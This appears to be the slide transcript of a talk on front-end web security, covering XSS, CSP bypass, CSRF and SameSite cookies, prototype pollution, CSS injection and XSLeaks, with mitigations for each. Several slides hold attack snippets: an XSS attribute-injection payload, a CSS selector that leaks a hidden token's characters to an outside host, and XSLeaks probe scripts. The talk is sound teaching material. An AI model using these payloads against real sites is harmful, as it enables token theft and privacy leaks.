Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Front-end Security that Front-end developers don't know

Huli
September 02, 2022

Front-end Security that Front-end developers don't know

This talk is an introduction to front-end security, including XSS, CSP, CSRF, XSLeaks and so on.

這是我之前去趨勢內部分享的一個講題,主要是有關於前端資訊安全,談到了一些經典的主題像是 XSS, CSP, CSRF 以及 XSLeaks 等等

Huli

September 02, 2022
Tweet

More Decks by Huli

Other Decks in Programming

Transcript

  1. Front-end Security that Front-end
    developers don’t know
    Huli @ Trend Micro Sharing, 2022/07/08

    View Slide

  2. About
    Previous: Front-end Engineer

    View Slide

  3. About
    Previous: Front-end Engineer
    Now: Security Engineer

    View Slide

  4. Security

    View Slide

  5. source: https://github.com/UnityTech/unity-ssdlc/blob/master/Overview.md

    View Slide

  6. source: https://github.com/UnityTech/unity-ssdlc/blob/master/Overview.md

    View Slide

  7. source: https://docs.github.com/en/code-security/

    View Slide

  8. source: https://github.com/UnityTech/unity-ssdlc/blob/master/Overview.md

    View Slide

  9. 弱點掃描
    Vulnerability Assessment

    View Slide

  10. source: https://www.zaproxy.org/getting-started/images/zap-qstart-learnmore.png

    View Slide

  11. 滲透測試
    Penetration Test

    View Slide

  12. 紅隊演練
    Red Teaming

    View Slide

  13. So, are we safe now?

    View Slide

  14. source: https://github.com/UnityTech/unity-ssdlc/blob/master/Overview.md

    View Slide

  15. View Slide

  16. XSS
    Cross-Site Scripting

    View Slide

  17. I am safe! I use ____ !

    View Slide

  18. Can you spot the vulnerability?

    View Slide

  19. Can you spot the vulnerability?

    View Slide

  20. The vulnerability

    View Slide

  21. View Slide

  22. click

    View Slide

  23. Can you spot the vulnerability?

    View Slide

  24. The vulnerability

    View Slide

  25. Can you spot the vulnerability?

    View Slide

  26. The vulnerability

    View Slide

  27. View Slide

  28. View Slide

  29. View Slide

  30. Mitigation
    1. URL should start with 

    http:// or https://

    2. Use new URL() to check 

    protocol

    View Slide

  31. View Slide

  32. Are we safe now?

    View Slide

  33. Can you spot the vulnerability?

    View Slide

  34. top.location = "//huli.tw"

    View Slide

  35. Mitigation
    Sandboxed iframe

    View Slide

  36. Sandboxed iframe
    allow-downloads

    allow-forms

    allow-modals

    allow-orientation-lock

    allow-pointer-lock

    allow-popups

    allow-scripts
    allow-popups-to-escape-sandbox

    allow-presentation

    allow-same-origin

    allow-top-navigation

    allow-top-navigation-by-user-
    activation

    allow-top-navigation-to-custom-
    protocols

    View Slide

  37. I am safe! I use React!

    View Slide

  38. Can you spot the vulnerability?

    View Slide

  39. The vulnerability

    View Slide

  40. The vulnerability
    Warning: Invalid event handler property `onerror`.
    Did you mean `onError`?

    View Slide

  41. The vulnerability

    View Slide

  42. Mitigation
    Don’t trust user’s input

    View Slide

  43. Sanitization is not that hard,
    but…

    View Slide

  44. What if some tags are allowed?

    View Slide

  45. Can you spot the vulnerability?

    View Slide

  46. View Slide

  47. Can you spot the vulnerability?

    View Slide

  48. Can you spot the vulnerability?

    View Slide

  49. The vulnerability
    //example.com style=animation-name:spinning onanimationstart=console.log(1337)

    View Slide

  50. Mitigation
    Don’t modify the content after
    sanitization

    View Slide

  51. CSP
    Content Security Policy

    View Slide

  52. Content-Security-Policy:
    default-src 'self';
    script-src 'self' 'unsafe-inline'
    https://www.google.com;
    img-src *;

    View Slide

  53. Are we safe now?
    Yes :) No :(

    View Slide

  54. Are we safe now?
    Yes :) No :(

    View Slide

  55. Can you spot the vulnerability?
    default-src 'self';
    script-src 'self' 'unsafe-inline'
    https://www.google.com;
    img-src *;

    View Slide

  56. Can you spot the vulnerability?
    default-src 'self';
    script-src 'self' 'unsafe-inline'
    https://www.google.com;
    img-src *;

    View Slide

  57. Is it vulnerable?
    default-src 'self';
    script-src 'self'
    https://www.google.com;
    img-src *;

    View Slide

  58. The vulnerability
    default-src 'self';
    script-src 'self'
    https://www.google.com;
    img-src *;

    View Slide

  59. The vulnerability
    <br/>
    alert(1)//([“123”,[“123go”,”https://
    www.yes123.com.tw/","123rf".....
    Response

    View Slide

  60. Is it vulnerable?
    default-src 'self';
    script-src 'self';
    img-src *;

    View Slide

  61. Is it vulnerable?
    default-src 'self';
    script-src 'self';
    img-src *;
    jsonp: /?jsonp=..
    open redirect: /redirect?url=..

    View Slide

  62. Mitigation
    https://csp-evaluator.withgoogle.com/

    View Slide

  63. Real world example
    HackMD Stored XSS & Bypass CSP with Google Tag Manager
    (GTM + unsafe-eval)
    https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/
    HackMD_XSS_%26_Bypass_CSP.md
    A Wormable XSS on HackMD!
    (cdnjs + angular CSTI)
    https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html

    View Slide

  64. CSRF
    Cross-Site Request Forgery

    View Slide

  65. User
    Login
    huli.tw

    View Slide

  66. User
    Login
    huli.tw
    User
    Open
    attack.com

    View Slide

  67. User
    Login
    huli.tw
    User
    Open
    attack.com
    Submit form


    View Slide

  68. User
    Login
    huli.tw
    User
    Open
    attack.com
    Submit form


    Cookie: sid=..

    View Slide

  69. User
    Login
    huli.tw
    User
    Open
    attack.com
    Submit form


    Cookie: sid=..

    View Slide

  70. Mitigation
    CSRF token

    Same-site cookie

    JWT(?)

    View Slide

  71. User
    Request
    huli.tw
    document.cookie="token=5566"
    Cookie:token=5566
    data=…&token=5566

    View Slide

  72. User
    Request
    huli.tw
    User
    Open
    attack.com
    document.cookie="token=5566"
    Cookie:token=5566
    data=…&token=5566
    Submit form


    View Slide

  73. Mitigation
    CSRF token

    Same-site cookie

    JWT(?)

    View Slide

  74. User
    Login
    huli.tw Set-cookie: sid=abc;
    Same-site=Lax

    View Slide

  75. User
    Login
    huli.tw
    User
    Open
    attack.com
    Submit form


    Cookie:

    View Slide

  76. SameSite Cookie Changes in February 2020: What You Need to Know
    https://blog.chromium.org/2020/02/samesite-cookie-changes-in-february.html

    View Slide

  77. Are we safe now?
    Yes :) No :(

    View Slide

  78. Are we safe now?
    Yes :) No :(

    View Slide

  79. Feature: Cookies default to SameSite=Lax
    https://chromestatus.com/feature/5088147346030592
    Note: Chrome will make an exception for cookies set
    without a SameSite attribute less than 2 minutes ago.
    Such cookies will also be sent with non-idempotent (e.g.
    POST) top-level cross-site requests.…
    Support for this intervention ("Lax + POST") will be
    removed in the future.

    View Slide

  80. User
    Login
    huli.tw
    User
    Open
    attack.com
    Submit form


    Cookie:

    View Slide

  81. User
    Login
    huli.tw
    User
    Open
    attack.com
    Submit form


    Cookie:sid=..
    < 2min

    View Slide

  82. Are we safe now?
    Yes :) No :(

    View Slide

  83. Same-site Cookie

    View Slide

  84. Same-site Cookie
    What is “site”?

    View Slide

  85. Origin(scheme,host,port) Site(scheme,eTLD)
    https://huli.tw (https, huli.tw, 443) (https, huli.tw)
    http://blog.huli.tw (https, blog.huli.tw, 443) (https, huli.tw)
    https://huli.github.io (https, huli.github.io, 443) (https, huli.github.io)
    https://abc.github.io (https, abc.github.io, 443) (https, abc.github.io)

    View Slide

  86. Origin(scheme,host,port) Site(scheme,eTLD)
    https://huli.tw (https, huli.tw, 443) (https, huli.tw)
    http://blog.huli.tw (https, blog.huli.tw, 443) (https, huli.tw)
    https://huli.github.io (https, huli.github.io, 443) (https, huli.github.io)
    https://abc.github.io (https, abc.github.io, 443) (https, abc.github.io)

    View Slide

  87. View Slide

  88. User
    Login
    huli.tw
    User
    Open
    xss.huli.tw
    Submit form


    View Slide

  89. 1. Subdomain takeover
    2. XSS on subdomain

    View Slide

  90. View Slide

  91. https://github.com/EdOverflow/can-i-take-over-xyz

    View Slide

  92. Real world example
    CVE-2022-21703: cross-origin request forgery against Grafana
    https://jub0bs.com/posts/2022-02-08-cve-2022-21703-writeup/
    Subdomain takeover on svcgatewayus.starbucks.com
    https://hackerone.com/reports/325336

    View Slide

  93. Mitigation
    CSRF token + same-site cookie

    View Slide

  94. Is it vulnerable?

    View Slide

  95. Can you spot the vulnerability?

    View Slide

  96. Can you spot the vulnerability?

    View Slide

  97. The vulnerability

    View Slide

  98. The vulnerability

    View Slide

  99. The vulnerability
    obj[y][x] = value

    View Slide

  100. The vulnerability
    obj[y][x] = value
    obj[1][0] = 'white'
    obj['tags']['img'] = 'src'

    View Slide

  101. The vulnerability
    obj[y][x] = value
    obj[1][0] = 'white'
    obj['tags']['img'] = 'src'
    obj['__proto__']['abc'] = 'hi'

    View Slide

  102. Prototype Pollution

    View Slide

  103. var obj = {}
    var obj2 = {}
    // obj.__proto__ === Object.prototype
    // => Object.prototype.a = 1
    obj['__proto__']['a'] = 1
    console.log(obj2.a) // 1

    View Slide

  104. View Slide

  105. Is it vulnerable?

    View Slide

  106. Is it vulnerable?
    obj['__proto__']['>xss'] = 1

    View Slide

  107. The vulnerability

    View Slide

  108. Prototype pollution gadgets
    https://github.com/BlackFan/client-side-prototype-pollution

    View Slide

  109. Real world example
    Exploiting prototype pollution – RCE in Kibana (CVE-2019-7609)
    https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/

    View Slide

  110. Mitigation
    Object.create(null)

    Object.freeze(Object.prototype)

    hasOwnProperty

    View Slide

  111. Is it vulnerable?
    const clean = DOMPurify.sanitize(input)
    div.innerHTML = clean
    Yes :) No :(

    View Slide

  112. Is it vulnerable?
    const clean = DOMPurify.sanitize(input)
    div.innerHTML = clean
    Yes :) No :(

    View Slide

  113. The vulnerability

    View Slide

  114. CSS injection

    View Slide

  115. What can we do via ?<br/>

    View Slide


  116. type="hidden"
    name=“token"
    value="abc123"
    >



    View Slide


  117. type="hidden"
    name="token"
    value="abc123"
    >



    <br/>input<br/>[name=token]<br/>[value^=a] {<br/>background:<br/>url(//huli.tw?q=a)<br/>}<br/>

    View Slide


  118. type="hidden"
    name="token"
    value="abc123"
    >



    <br/>input<br/>[name=token]<br/>[value^=a] {<br/>background:<br/>url(//huli.tw?q=a)<br/>}<br/>

    View Slide


  119. type="hidden"
    name="token"
    value="abc123"
    >



    <br/>input<br/>[name=token]<br/>[value^=a] ~ * {<br/>background:<br/>url(//huli.tw?q=a)<br/>}<br/>

    View Slide


  120. type="hidden"
    name="token"
    value="abc123"
    >



    <br/>input<br/>[name=token]<br/>[value^=a] ~ * {<br/>background:<br/>url(//huli.tw?q=a)<br/>}<br/>

    View Slide




  121. type="hidden"
    name="token"
    value="abc123"
    >

    ?

    View Slide

  122. View Slide




  123. type="hidden"
    name="token"
    value="abc123"
    >

    <br/>form:has(<br/>input<br/>[name=token]<br/>[value^=a]) {<br/>background:<br/>url(//huli.tw?q=a)<br/>}<br/>

    View Slide

  124. View Slide

  125. Mitigation
    CSP

    Same-site cookie

    Check Origin/Referer header

    View Slide

  126. Is it vulnerable?
    Yes :) No :(
    app.get('/search', (req, res) => {
    const user = db.users.search(req.query.q)
    if(!user) return res.sendStatus(404)
    res.send(user)
    })

    View Slide

  127. Is it vulnerable?
    Yes :) No :(
    app.get('/search', (req, res) => {
    const user = db.users.search(req.query.q)
    if(!user) return res.sendStatus(404)
    res.send(user)
    })

    View Slide

  128. Is it vulnerable?
    Yes :) No :(
    app.get('/search', (req, res) => {
    const user = db.users.search(req.query.q)
    if(!user) return res.status(404)
    res.send(user)
    })
    Found => 200
    Not Found => 404

    View Slide

  129. View Slide

  130. XSLeaks

    View Slide

  131. Can you exploit the vulnerability?
    app.get('/search', (req, res) => {
    const user = db.users.search(req.query.q)
    if (!user) return res.send('not found')
    res.send(`Redirecting...<br/>setTimeout(() => {<br/>location = '/result?id=${user.id}'<br/>}, 500)<br/>`)
    })

    View Slide

  132. <br/>var w = window.open('http://localhost:3000/search?q=1')<br/>setTimeout(() => {<br/>w.location = '/'<br/>setTimeout(() => {<br/>alert(w.history.length === 3 ? 'Found' : 'Not found')<br/>w.close()<br/>}, 500)<br/>}, 1500)<br/>

    View Slide

  133. Can you exploit the vulnerability?
    app.get('/search', (req, res) => {
    const user = db.users.search(req.query.q)
    if (!user) return res.send('not found')
    res.redirect('/result?id='+user.id)
    })

    View Slide

  134. View Slide

  135. <br/>const attackerUrl = "https://xsinator.com/testcases/<br/>files/maxredirect.php"<br/>const url = ‘http://localhost:3000/search?q=a'<br/>fetch(`${attackerUrl}?n=19&url=${encodeURI(url)}`, {<br/>credentials: "include",<br/>mode: "no-cors"<br/>}).then(() => {<br/>console.log('not found')<br/>})<br/>.catch(() => {<br/>console.log('found')<br/>})<br/>

    View Slide

  136. Mitigation
    Same-site cookie

    status-agnostic response

    View Slide

  137. View Slide

  138. Resources
    1. https://github.com/fei3363/Awesome-Taiwan-Security-Course

    2. https://github.com/splitline/How-to-Hack-Websites

    3. https://xsleaks.dev/

    4. https://xsinator.com/

    5. https://portswigger.net/web-security

    6. https://book.hacktricks.xyz/pentesting-web/xs-search

    7. https://blog.huli.tw

    8. https://blog.maple3142.net/

    View Slide

  139. Q&A

    View Slide